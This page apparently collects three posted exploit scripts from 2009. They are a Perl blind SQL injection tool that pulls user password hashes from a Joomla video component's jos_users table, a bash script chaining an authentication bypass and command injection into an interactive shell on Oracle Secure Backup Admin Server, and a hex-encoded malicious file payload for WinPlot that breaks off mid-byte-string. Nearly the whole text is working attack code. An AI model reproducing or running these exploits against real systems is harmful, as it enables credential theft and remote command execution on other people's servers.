Oct 15

#!/usr/bin/perl -w

#———————————————————————————
#joomla component com_mytube (user_id) Blind SQL Injection Vulnerability
#———————————————————————————

#Author         : Chip D3 Bi0s
#Group          : LatiHackTeam
#Email          : chipdebios[alt+64]gmail.com
#Date           : 15 September 2009
#Critical Lvl   : Moderate
#Impact            : Exposure of sensitive information
#Where            : From Remote
#—————————————————————————

#Affected software description:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#Application   : MyRemote Video Gallery
#version       : 1.0 Beta
#Developer     : Jomtube Team
#License       : GPL            type  : Non-Commercial
#Date Added    : Aug 24, 2009
#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip
#Description   :

#MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x
#which will allow you to transform your Website into a professional looking Video
#Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery
#is an open source (GNU GPL) video sharing Joomla extension has been created
#specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.

#MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers
#the Framework so you can create your own Remote Plugins for other Remote Servers like
#Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to
#run your site for low cost since all the bandwidth usage and hard drive space is located
#on the video server sites. So if you already have a large library of Videos on some
#Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.

#—————————————————————————

#I.Blind SQL injection (user_id)
#Poc/Exploit:
#~~~~~~~~~~~
#http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null
#X: Valid User_id

#+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
#+++++++++++++++++++++++++++++++++++++++

use LWP::UserAgent;
use Benchmark;
my $t1 = new Benchmark;

system (‘cls’);
print "\n\n";
print "\t\t[+] ———————————[+]\n";
print "\t\t|          |  Chip d3 Bi0s |          |\n";
print "\t\t|        MyRemote Video Gallery Bsql  | \n";
print "\t\t|joomla component com_mytube (user_id)| \n";
print "\t\t[+]———————————-[+]\n\n";

print "http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>);

$w="Total Videos In Category";
$column_name="concat(password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent(‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’);

print "—————-Inyectando—————-\n";

  $host = $target . "+and+1=1&option=com_mytube&Itemid=null";
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  if ($content =~ /$regexp/) {

$host = $target . "+and+1=2&option=com_mytube&Itemid=null";
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  if ($content =~ /$regexp/) {print " [-] Exploit Fallo :( \n";}

else

{print " [-] Vulnerable :) \n";

$d=0;

for ($idusuario=62;$idusuario<=80;$idusuario++)

{
$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}

}

print " [+] Usuario existentes : "." ".join(‘,’, @idusu) . "\n";

print  " [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>);

for ($x=1;$x<=32;$x++)
    {

  $host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null";
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;}
  if ($content =~ /$regexp/)
  {
          for ($c=97;$c<=102;$c++)

{
$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;

if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;}
}

  }
else
{

for ($c=48;$c<=57;$c++)

{
$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;

if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;}
}

}

    }

print " [+] Password   :"." ".join(”, @caracter) . "\n";

my $t2 = new Benchmark;
my $tt = timediff($t2, $t1);
print "El script tomo:",timestr($tt),"\n";

}
}

else

{print " [-] Exploit Fallo :( \n";}

Tagged with:
Oct 06

#!/bin/bash

#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability
#1-day exploit for CVE-2009-1977 and CVE-2009-1978

#PoC script successfully tested on:
#Oracle Secure Backup Server 10.3.0.1.0_win32_release
#MS Windows Professional XP SP3

#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart
#authentication bypass and a trivial command injection, resulting in arbitrary command execution.

#References:
#http://www.zerodayinitiative.com/advisories/ZDI-09-058/
#http://www.zerodayinitiative.com/advisories/ZDI-09-059/

#Use it for ethical pentesting only! The author accepts no liability for damage caused by this tool.
#Luca "ikki" Carettoni (blog.nibblesec.org), 10th September 2009

clear
echo ":: Oracle Secure Backup Admin Server 10.3 AuthBypass/CodeExec Exploit ::"

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <target IP>"
    echo "i.e.: ./$(basename $0) 192.168.0.100"
    exit
fi

if ! which curl >/dev/null
then
    echo "’curl’ is required in order to handle HTTPS connections"
    exit
fi

TARGET=$1

#Exploiting CVE-2009-1977 and getting a valid token
echo "[+] Exploiting CVE-2009-1977 against $TARGET"
postdata="button=Login&attempt=1&mode=&tab=&uname=–fakeoption&passwd=fakepwd"
session=`curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1`

if [[ -z $session ]]
then
    echo "[!] Fatal error. No valid token has been retrieved"
    exit
fi

echo "[+] I got a valid token: $session"

#Use a valid session and CVE-2009-1978 in order to inject arbitrary commands
echo "[+] Exploiting CVE-2009-1978 against $TARGET"
shell="1%26ver>osb103shelltmp"
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

if [[ -z $check ]]
then
    echo "[!] Fatal error. I cannot execute arbitrary commands"
    exit
fi

echo "[+] Enjoy your non-interactive shell! Use EXIT to clean up everything"
echo
echo \>$check

while(true); do
    echo -n \>
    read -r cmd
    if [ "$cmd" == "EXIT" ]
    then
        echo "[+] Removing the temporary file and closing"
        shell="1%26del%20osb103shelltmp"
        curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
        exit
    fi
    #URLencode function
    cmd=`echo -n "$cmd"|od -t x1 -A n|tr " " %`
    shell="1%26$cmd>osb103shelltmp"
    curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
    echo "[+] Last successful command execution:"
    curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session"
done
#end

Tagged with:
Sep 25

# Author: Rick
# Email: rick2600@hotmail.com
#
# Software: http://math.exeter.edu/rparris/peanut/wp32z.exe
# Version: Compiled in 19 sept 2009
#
# Exec: calc.exe
# Tested on: Windows XP SP2 EN,PT-BR, Vista
# Greeting: Hisok4, All my friends

$header1 =
"\x49\x03\x00\x00\x19\x00\x00\x00\x30\x00\x00\x00\x2e\x00\x00\x00".
"\x0e\x02\x00\x00\x0e\x02\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
"\x3d\x00\x00\x00\xd9\xff\xff\xff\x2c\x01\x00\x00\x64\x00\x00\x00".
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00".
"\x0f\x00\x00\x00\x2b\xd0\x28\x01\x49\x1e\x29\x01\x00\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x08\x00\x00\x00".
"\x0c\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00\x0a\x00\x00\x00".
"\x0a\x00\x00\x00\x0a\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08\x02\x01\x31".
"\x53\x79\x6d\x62\x6f\x6c\x00\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf5\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x02\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x02".
"\x54\x69\x6d\x65\x73\x00\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72".
"\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00".
"\x00\x00\x00\x00\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20".
"\x4e\x65\x77\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00".
"\x08\x02\x01\x31\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\xf3\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08\x02\x01\x31".
"\x43\x6f\x75\x72\x69\x65\x72\x20\x4e\x65\x77\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f\x51\x00".
"\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f\x51".
"\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd\x9f".
"\x51\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x04\xf2\x12\x00\xbd".
"\x9f\x51\x00\x0c\x30\x54\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00".
"\x06\x00\x00\x00\x04\x00\x06\x00\x05\x00\x16\x00\x18\x00\x00\x00".
"\x15\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff".
"\xff\x00\xff\x00\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\x00\xbf".
"\x3f\x00\x00\x00\xff\x00\x00\x7f\x7f\x00\xff\x7f\x00\x00\xff\x00".
"\x7f\x00\xa0\x2f\x00\x00\x00\xff\xff\x00\xbf\xbf\x7f\x00\x7f\x00".
"\x7f\x00\x20\xff\x00\x00\xff\x7f\x7f\x00\x87\x87\x00\x00\x00\x3c".
"\xa0\x00\xe0\xe0\xe0\x00\xc0\xc0\xc0\x00\xa0\xa0\xa0\x00\x80\x80".
"\x80\x00\x60\x60\x60\x00\x40\x40\x40\x00\xbf\x00\x3f\x00\x7e\xde".
"\xff\x00\xff\xcc\xcc\x00\xff\x7e\xde\x00\xff\xde\x7e\x00\xde\xff".
"\x7e\x00\x7e\xff\xde\x00\xff\xff\xbf\x00\xff\xbf\xff\x00\xbf\xff".
"\xff\x00\xff\xff\xde\x00\xff\xde\xff\x00\xde\xff\xff\x00\xb1\xde".
"\xd4\x00\xb1\xd4\xde\x00\xd4\xb1\xde\x00\xd4\xde\xb1\x00\xde\xb1".
"\xd4\x00\xde\xd4\xb1\x00\xbf\xf1\xde\x00\xbf\xde\xf1\x00\xde\xf1".
"\xbf\x00\xde\xbf\xf1\x00\xf1\xde\xbf\x00\xf1\xbf\xde\x00\xff\x96".
"\xea\x00\x96\xea\xff\x00\xcc\xcc\xcc\x00\xc8\x70\x00\x00\xde\xcd".
"\x00\x00\xde\x68\x20\x00\x14\x82\x28\x00\xc0\x00\xa0\x00\xd4\x28".
"\x28\x00\x50\x84\xb0\x00\x64\xa0\xc8\x00\x14\x64\x14\x00\x05\x00".
"\x7d\x00\x00\x00\x01\x00\x01\x00\x01\x00\x0a\x00\x05\x00\x02\x00".
"\x00\x00\x64\x00\x03\x00\x3c\x00\x07\x00\x0f\x00\x01\x00\x03\x00".
"\x08\x00\x0c\x00\x1e\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x00\x0c\x00".
"\x14\x00\x00\x00\x00\x00\x7b\x03\xff\xff\x32\x00\x00\x00\xb0\x00".
"\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00".
"\x00\x01\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01".
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x01\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x01\x40\x66\x33\x44\xe9\x5c\x36\x43\x94\x01\xc0\x66\x33\x44\xe9".
"\x5c\x36\x43\x94\x01\x40\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f".
"\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00".
"\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x05\x40\x00\x00\x00\x00\x00\x00\x00\xf0\x04\x40\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x80\x00\x40\x00\x30\x33\x33\x33\x33\x33\xb3".
"\xfe\x3f\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc\xfb\x3f\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\xa8\x5e\xdf\x9b\x4f\x77\xd6\xfb\x3f\x00\x48\xe1\x7a\x14\xae".
"\x47\x81\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\xc0".
"\xfe\x3f\x7f\x00\x20\x62\x7e\x00\x00\x00\x00\x00\xf0\xf4\x12\x00".
"\x01\x00\x00\x00\x00\x00\x00\x00\x80\xf6\x12\x00\x60\x48\x40\x00".
"\x38\x03\x03\x00\xf0\xf4\x12\x00\x78\xc0\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00".
"\x00\x00\x00\x00\x00\xfa\x08\x40\x00\xd0\xcc\xcc\xcc\xcc\xcc\xcc".
"\xfb\x3f\x00\x00\x00\x00\x00\x00\x40\x9c\x0c\x40\x00\x00\x00\x00".
"\x00\x00\x00\xc8\x07\x40\x00\x00\x00\x00\x00\x00\x00\x96\x06\x40".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\xc8\x05\x40\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\x40\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00".
"\x00\x00\x00\xfa\x08\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00".
"\x00\xc8\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00\x00\x00\x00\xc8".
"\x05\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00".
"\x00\x80\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x01\x40\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xcc\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x14\x00".
"\x01\x00\x0f\x00\x05\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x32\x00\x00\x00".
"\x01\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\xd0\xcc".
"\xcc\xcc\xcc\xcc\xcc\xfc\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x24".
"\x00\x24\x00\x24\x00\x96\x00\x96\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff".
"\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00".
"\x00\x00\x00\x00\x00\x00\x80\xff\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8".
"\x1c\x8e\x2d\x54\xde\x73\x9e\xf9\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x01".
"\x00\x00\x00\x30\x75\xaf\x00\x34\x76\xaf\x00\x38\x77\xaf\x00\x3c".
"\x78\xaf\x00\x40\x79\xaf\x00\x44\x7a\xaf\x00\x48\x7b\xaf\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\xa7\xaf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x8e\xaf\x00\x00".
"\x00\x00\x00\x5c\x90\xaf\x00\x74\xa3\xaf\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x80\x97\xcd\xaa\x1f\xf8\xae\xe6\x00\x40\x4c".
"\x8d\x4e\xf3\x22\x84\x33\xb8\xfb\x3f\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x0c\xe8\xd1\x19\x4f\xc1\x05\xc9\x00\x40\x00\x00\x01\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x18\x00\x01\x00\x00\x00\x0d\x00\x04\x00\xff\xff".
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x0b\x00";

$header2 =
"\x00\x01\x00\x00\x09\x00\x78\x78".
"\x2b\x79\x79\x3d\x31\x33\x00\x01\x00\x00\x01\x00\x00\x00\x49\x54".
"\x00\x10\x49\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x02\x00\x78\x00\x02\x00\x79\x00\x02\x00\x7a\x00\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0".
"\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00".
"\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00".
"\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0".
"\x02\xc0\x00\x00\x00\x00\x00\x00\x00\xa0\x02\xc0\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x4a".
"\xbb\xa2\x58\x54\xf8\xad\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
